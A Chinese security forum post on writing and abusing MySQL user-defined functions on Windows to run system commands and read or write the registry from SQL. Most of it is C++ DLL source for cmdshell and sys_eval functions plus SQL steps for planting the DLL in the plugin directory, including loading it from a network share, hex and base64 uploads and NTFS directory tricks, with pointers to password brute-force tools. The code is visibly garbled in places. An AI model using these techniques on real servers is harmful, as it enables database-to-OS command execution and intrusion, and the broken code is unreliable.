zzzhhh / 2018-05-30 20:45:47 / 浏览数 7934 安全工具 工具 顶(0) 踩(0)

1、MySQL UDF是什么

UDF是Mysql提供给用户实现自己功能的一个接口,为了使UDF机制起作用,函数必须用C或C++编写,并且操作系统必须支持动态加载。这篇文章主要介绍UDF开发和利用的方法。

2、UDF开发

操作系统:Windows 10

测试环境: PHPStudy+Mysql 5.5(x64)

编译器: VS2015

2.1 编译器方法

• MySQL源码包

从MySQL官网下载对应版本的源码包,把MySQL对应版本的源码下载回来。将include文件夹和lib文件夹解压至C++项目路径。

http://mirror.yandex.ru/mirrors/ftp.mysql.com/Downloads/MySQL-5.5/mysql-5.5.59-winx64.zip

VS2015配置-项目属性

将MySQL的include、lib文件夹放到C++项目路径后。属性配置如下:

- include: VC++目录->包含目录->添加include目录
- lib: VC++目录->库目录->添加lib目录
- libmysql.lib:链接器->附加依赖项->添加libmysql.lib

2.2 调试方法

UDF在程序代码中加入调试OutputDebugStringA();就可以输出调试的信息了。在每个分支都输出相对应的调试信息,就可以获取当前运行的状态。

```
OutputDebugStringA("--UDF:my_name() ==="");
```

2.3 使用UDF扩展

```
// ITELE
CREATE FUNCTION about RETURNS string SONAME "mysql_udf_c++.dll";
// ITELE
Drop function about;
// ITELE
select about();
// ITELE
select * from mysql.func where name = 'cmdshell';
```

2.4 CPP源码思路

执行CMDSHELL 使用方式:

Ecmdshell

```
CREATE FUNCTION cmdshell RETURNS int SONAME "mysql_udf_c++.dll";

# Mashell Mashell Mashell mysql Mata Mashell "D:\phpStudy\MySQL\data\helllo.txt"
select cmdshell("echo hello>>helllo.txt");

# Macmshell Mashell
Drop function cmdshell;
```

CPP源码如下:

```
#include <winsock.h>
#include <mysql.h>
#ifndef UNICODE
#define UNICODE
```

```
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
//----cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid,
  UDF_ARGS *args,
  char *message)
  //
  unsigned int i = 0;
  if (args->arg_count == 1
      && args->arg_type[i] == STRING_RESULT) {
      //
      return 0;
  }
  else {
      strcpy(
         message
         , "Expected exactly one string type parameter"
         );
      //
      return 1;
  }
}
extern "C" __declspec(dllexport)my_ulonglong cmdshell(UDF_INIT *initid,
  UDF_ARGS *args,
  char *result.
  char *error)
  // Basysytem
  // II "net user >> hello.txt" IIIIIIIID:\phpStudy\MySQL\data\hello.txt
  // MINIMUSselect cmdshell("1"); MINIMySQL
  return system(args->args[0]);
extern "C" __declspec(dllexport)void cmdshell_deinit(
  UDF_INIT *initid)
  if (initid->ptr)
      free(initid->ptr);
  }
}
• 回显shell
回显shell编写尝试,跟没有回显的shell执行命令是一样的原理。
核心原理是创建一个管道,把命令结果输入管道读取出来后关闭管道。
使用方式:
# ■sys_eval
CREATE FUNCTION sys_eval RETURNS string SONAME "mysql_udf_c++.dll";
select sys_eval("echo hello>>helllo.txt");
# Ecmshell
Drop function sys_eval;
CPP源码如下:
#include <winsock.h>
#include <mysql.h>
#ifndef UNICODE
```

```
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")
#include <stdio.h>
#include <windows.h>
#include <lm.h>
extern "C" __declspec(dllexport)my_bool sys_eval_init(UDF_INIT *initid,
  UDF_ARGS *args,
  char *message)
  //
  unsigned int i = 0;
  if (args->arg_count == 1
      && args->arg_type[i] == STRING_RESULT) {
      return 0;
  }
  else {
      strcpy(
          message
          , "Expected exactly one string type parameter"
         );
      return 1;
  }
}
extern "C" __declspec(dllexport)char* sys_eval(UDF_INIT *initid
  , UDF_ARGS *args
   , char* result
   , unsigned long* length
   , char *is_null
   , char *error)
{
  FILE *pipe;
  char buff[1024];
  unsigned long outlen, linelen;
  //
  result = (char*)malloc(sizeof(char));
  outlen = 0;
  //
  pipe = _popen(args->args[0], "r");
  while (fgets(buff, sizeof(buff), pipe) != NULL) {
      linelen = strlen(buff);
      result = (char*)realloc(result, outlen + linelen);
      //
      strncpy(result + outlen, buff, linelen);
      outlen = outlen + linelen;
  }
   //
  _pclose(pipe);
  // I*is_nullIIIII1IIIIIIIINULL
  if (!(*result) || result == NULL) {
      *is_null = 1;
  else {
      result[outlen] = 0x00;
      *length = strlen(result);
  }
  //
  return result;
extern "C" __declspec(dllexport)void sys_eval_deinit(
  UDF_INIT *initid)
```

```
if (initid->ptr)
  {
      free(initid->ptr);
}
• 注册表操作
核心代码主要是以下几个注册表操作相关的API实现的
RegQueryInfoKey
RegEnumValue
RegQueryValueEx
RegCloseKey
{\tt RegCreateKeyEx}
RegSetValueEx
RegCloseKey
  • 注册表读取
使用方式:
# ■■regread■■
CREATE FUNCTION regread RETURNS string SONAME "mysql_udf_c++.dll";
select regread("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","Start Page");
# ■■regread■■■■
Drop function regread;
CPP源码如下:
#include <winsock.h>
#include <mysql.h>
#include <stdio.h>
#include <windows.h>
#define MAX_KEY_LENGTH 255
#define MAX_VALUE_NAME 16383
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid,
  UDF_ARGS *args,
  char *message)
   //
  if (args->arg_type[0] == STRING_RESULT && // ■■
      \verb|args->| \verb|arg_type[1]| == STRING_RESULT && // \blacksquare \blacksquare|
      args->arg_type[2] == STRING_RESULT // ■■
   {
      return 0;
  }
  else {
      strcpy(
           , "Expected exactly Three string type parameter"
          );
      return 1;
   }
}
extern "C" __declspec(dllexport)char* regread(UDF_INIT *initid
  , UDF_ARGS *args
  , char* result
  , unsigned long* length
   , char *is_null
   , char *error)
```

```
HKEY hRoot;
//
if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
   hRoot = HKEY_LOCAL_MACHINE;
else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
   hRoot = HKEY_CLASSES_ROOT;
else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
  hRoot = HKEY_CURRENT_USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
  hRoot = HKEY USERS;
else
{
   initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
   sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
   *length = strlen(initid->ptr);
   return initid->ptr;
}
//
// ■■■■ char■wchar
int len = MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
        m_wchar = new wchar_t[len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), m_wchar, len);
m \text{ wchar[len]} = ' \setminus 0';
HKEY aTestKey = NULL;
DWORD dwType = REG_SZ;
if (RegOpenKeyEx(hRoot,
   m wchar,
   KEY READ,
   &aTestKey) != ERROR_SUCCESS
{
   initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
   sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
   *length = strlen(initid->ptr);
   return initid->ptr;
}
achClass[MAX_PATH] = TEXT(""); //
TCHAR
                                  //
DWORD
       cchClassName = MAX_PATH;
                                  //
DWORD
       cSubKeys = 0;
                                  //
DWORD
       cbMaxSubKey;
                                  DWORD
       cchMaxClass;
                                  DWORD
       cValues;
DWORD
       cchMaxValue;
                                  // value
DWORD
       cbMaxValueData;
                                  // value
DWORD
       cbSecurityDescriptor;
                                  //
FILETIME ftLastWriteTime;
                                  DWORD i, retCode;
DWORD dwSize;
TCHAR *wStr = new TCHAR[MAX_VALUE_NAME];
TCHAR achValue[MAX_VALUE_NAME];
TCHAR data[MAX_VALUE_NAME];
DWORD cchValue = MAX_VALUE_NAME;
DWORD dBufSize; //
// Get the class name and the value count.
retCode = RegQueryInfoKey(
   aTestKey,
                        //
   achClass,
                        &cchClassName,
                        //
   NULL,
                        // reserved
```

```
&cSubKeys,
                        // .........
   &cbMaxSubKey,
                        // ------
   &cchMaxClass,
                        // ......
   &cValues.
                        // ------
   &cchMaxValue,
                        // -----
   &cbMaxValueData,
   &cbSecurityDescriptor, //
                        &ftLastWriteTime);
// ■■■■.
if (cValues)
{
   for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)</pre>
      cchValue = MAX_VALUE_NAME;
      dwSize = MAX_VALUE_NAME;
      achValue[0] = '\0';
      data[0] = '\0';
      retCode = RegEnumValue(aTestKey, i,
         wStr,
         &cchValue,
         NULL,
         NULL,
         NULL,
         NULL);
      RegQueryValueEx(aTestKey, wStr,
         NULL,
         &dwType,
         (LPBYTE)data,
          &dwSize);
      // ■■■■ char■wchar
      int len = MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), NULL, 0);
              m_wchar = new wchar_t[len + 1];
      MultiByteToWideChar(CP_ACP, 0, (char*)(args->args)[2], strlen((char*)(args->args)[2]), m_wchar, len);
      m_{wchar[len]} = ' 0';
      if (retCode == ERROR_SUCCESS && wcscmp(wStr, m_wchar) == 0)
          // printf("\n\sum %ls\n\sum %ls", wStr, data);
          dBufSize = WideCharToMultiByte(CP_OEMCP, 0, data, -1, NULL, 0, NULL, FALSE);
          result = new char[dBufSize];
          memset(result, 0, dBufSize);
          int nRet = WideCharToMultiByte(CP_OEMCP, 0, data, -1, result, dBufSize, NULL, FALSE);
      }
   }
delete[]wStr;
RegCloseKey(aTestKey);
// I*is_nullIIIII1IIIIIINULL
if (!(*result) || result == NULL) {
   *is_null = 1;
else {
   result[dBufSize] = 0x00;
   *length = strlen(result);
```

```
//
  return result;
}
extern "C" __declspec(dllexport)void regread_deinit(
  UDF_INIT *initid)
  if (initid->ptr)
  {
      free(initid->ptr);
  }
}
  • 注册表写入
    使用方式:
# ■regread
CREATE FUNCTION regwrite RETURNS string SONAME "mysql_udf_c++.dll";
select regwrite("HKEY_CURRENT_USER","Software\\Microsoft\\Internet Explorer\\Main","test","www.baidu.com");
# Eregread
Drop function regwrite;
CPP源码如下:
#include <winsock.h>
#include <mysql.h>
#include <stdio.h>
#include <windows.h>
extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid,
  UDF_ARGS *args,
  char *message)
  //88888888,888888888
  if (args->arg_type[0] == STRING_RESULT && // ■■
      args->arg_type[1] == STRING_RESULT && // ■■
      args->arg_type[2] == STRING_RESULT && // 
      args->arg_type[3] == STRING_RESULT // ####
   {
      return 0;
  }
  else {
      strcpy(
          message
          , "Expected exactly four string type parameter"
          );
      return 1;
  }
}
extern "C" __declspec(dllexport)char* regwrite(UDF_INIT *initid
  , UDF_ARGS *args
   , char* result
   , unsigned long* length
   , char *is_null
   , char *error)
{
  HKEY hRoot;
  // 
  if (strcmp("HKEY_LOCAL_MACHINE", (char*)(args->args)[0]) == 0)
      hRoot = HKEY_LOCAL_MACHINE;
  else if (strcmp("HKEY_CLASSES_ROOT", (char*)(args->args)[0]) == 0)
      hRoot = HKEY_CLASSES_ROOT;
```

```
else if (strcmp("HKEY_CURRENT_USER", (char*)(args->args)[0]) == 0)
   hRoot = HKEY CURRENT USER;
else if (strcmp("HKEY_USERS", (char*)(args->args)[0]) == 0)
   hRoot = HKEY_USERS;
else
{
    initid->ptr = (char *)malloc(50 + strlen((args->args)[0]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[0]);
    *length = (unsigned long)strlen(initid->ptr);
   return initid->ptr;
}
HKEY hKev;
DWORD dwType = REG SZ;
// szSubKey■■■■ char■wchar
int szSubKey_len = (int)MultiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), NULL, 0);
          szSubKey = new wchar_t[szSubKey_len + 1];
\label{eq:multiByteToWideChar(CP_ACP, 0, (args->args)[1], strlen((args->args)[1]), szSubKey, szSubKey_len); } \\
szSubKey[szSubKey_len] = '\0';
size_t lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
if (lRet != ERROR_SUCCESS)
    initid->ptr = (char *)malloc(50 + strlen((args->args)[1]));
   sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[1]);
    *length = (unsigned long)strlen(initid->ptr);
   return initid->ptr;
}
//
// ValueName
int ValueName_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), NULL, 0);
wchar_t* ValueName = new wchar_t[ValueName_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[2], strlen((args->args)[2]), ValueName, ValueName_len);
ValueName[ValueName_len] = '\0';
//// INTERNATION char wchar
int data_len = MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), NULL, 0);
wchar_t* data = new wchar_t[data_len + 1];
MultiByteToWideChar(CP_ACP, 0, (args->args)[3], strlen((args->args)[3]), data, data_len);
data[data_len] = '\0';
DWORD iLen = (DWORD)wcslen(data);
lRet = RegSetValueEx(hKey, ValueName, 0, dwType, (unsigned char*)data, sizeof(wchar_t)*data_len);
if (lRet != ERROR_SUCCESS)
    initid->ptr = (char *)malloc(50 + strlen((args->args)[2]));
    sprintf(initid->ptr, "unknow:%s\r\n", (args->args)[2]);
    *length = (unsigned long)strlen(initid->ptr);
    return initid->ptr;
RegCloseKey(hKey);
// I*is_nullIIIII1IIIIIINULL
if (!(*result) || result == NULL) {
    *is_null = 1;
else {
    sprintf(result, "success");
    result[iLen] = 0x00;
    *length = strlen(result);
```

```
return result;
}
extern "C" __declspec(dllexport)void regwrite_deinit(
    UDF_INIT *initid)
{
    if (initid->ptr)
     {
        free(initid->ptr);
    }
}
```

3、UDF加载方法

UDF有两种加载方式,一种是修改修改MySQL配置文件。第二种则是将UDF放置在MySQL指定的插件目录中加载。

3.1 修改MySQL配置文件

另一种方法是用插件目录编写一个新的MySQL配置文件并将其传递给mysqld。

```
启动参数配置
```

```
// ■■mysqld■plugin■■■■
mysqld.exe -plugin-dir=C:\\temp\\plugins\\
// ■■■■■mysqld.exe --defaults-file■■■■■mysqld
mysqld.exe --defaults-file=C:\temp\my.ini

my.ini配置

[mysqld]
plugin_dir = C:\\temp\\plugins\\

3.2 新建插件目录

show variables like 'plugin_dir'; # ■■■■
select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib::$INDEX_ALLOCATION'; # ■■■■lib
```

select 'xxx' into dumpfile 'D:\phpStudy\MySQL\lib\plugin::\$INDEX_ALLOCATION'; # #####plugin

3.3 导出UDF文件置扩展目录

load_file函数

• load_file函数支持网络路径,如果将DLL复制到网络共享中,则可以直接加载它并写入磁盘。

 $\verb|select load_file('\\192.168.0.19\share\udf.dll'|) into dumpfile "D:\phpStudy\MySQL\lib\plugin\udf.dll"|| into dumpfile "D:\phpStudy\MySQL\lib\plugin\MySQL\lib\plugin\MySQL\Ngl\MySQL\$

• 用一个十六进制编码的字符串将整个DLL文件写入磁盘。

```
// BBBhexBB
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// BB
select 0x4d5a..... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
```

• 创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。

```
create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b37
```

• 直接在磁盘上将文件从网络共享加载到第三种方法创建的表中,使用"load data infile"语句在本地加载。像上图所示将文件转换为十六进制,并在写入磁盘时取消编辑。

load data infile '\\\192.168.0.19\\share\\udf.hex' into table temp fields terminated by '@OsandaMalith' lines terminated by 'select unhex(data) from temp into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';

• 使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数"to_base64"和"from_base64"上传二进制文件。

```
# ■■■base64
select to_base64(load_file('D:\\udf.dll'));
# base64■■■DLL
\tt select\ from\_base64("Base64\blacksquare\blacksquare")\ into\ dumpfile\ "D:\phpStudy\MySQL\lib\plugin\udf.dll"\blacksquare
4、Mysql弱口令
4.1 暴力破解程序
  工具: hydra
  CPP
用链表实现的MYSQL、MSSQL和oracle密码暴破C程序
http://blog.51cto.com/foxhack/35604

    Python

https://github.com/chinasun021/pwd_crack/blob/master/mysql/mysql_crack.py
https://www.waitalone.cn/python-mysql-mult.html

    Go

https://github.com/netxfly/x-crack
4.2 MySQL口令加密解密
5、WEB组合利用
5.1 后门方法
导出Mof
5.2 WEB渗透测试扩展
php探针、PHPMyadmin
6、取证分析
\verb|select @@version_compile_os,@@version_compile_machine,@@plugin_dir;|\\
//
select * from mysql.func;
7、参考
Mysql函数扩展之UDF开发
https://blog.csdn.net/albertsh/article/details/78567661
VS2015配置C/C++-MySQL开发环境
https://blog.csdn.net/daso_csdn/article/details/54646859
MySQL UDF (自定义函数)
https://www.cnblogs.com/raker/p/4377343.html
MySQL UDF的调试方式 - debugview
https://blog.csdn.net/swotcoder/article/details/18527
详详详解MySQL UDF执行命令
```

http://www.360doc.cn/article/31784658_733287732.html

利用MySQL UDF进行的一次渗透测试 https://m.sohu.com/a/224950139_354899/?pvid=000115_3w_a 24.4.2.2 UDF Calling Sequences for Aggregate Functions

https://dev.mysql.com/doc/refman/5.5/en/udf-aggr-calling.html

windows下编写mysql UDF函数的失败经历,与ubuntu下的成功编译经历

https://blog.csdn.net/watch_ch/article/details/54015948

开源项目

https://github.com/mysqludf/lib_mysqludf_sys

8、UDF写注册表源码

C++_Mysql开发_UDF写注册表.rar (0.268 MB) <u>下载附件</u>

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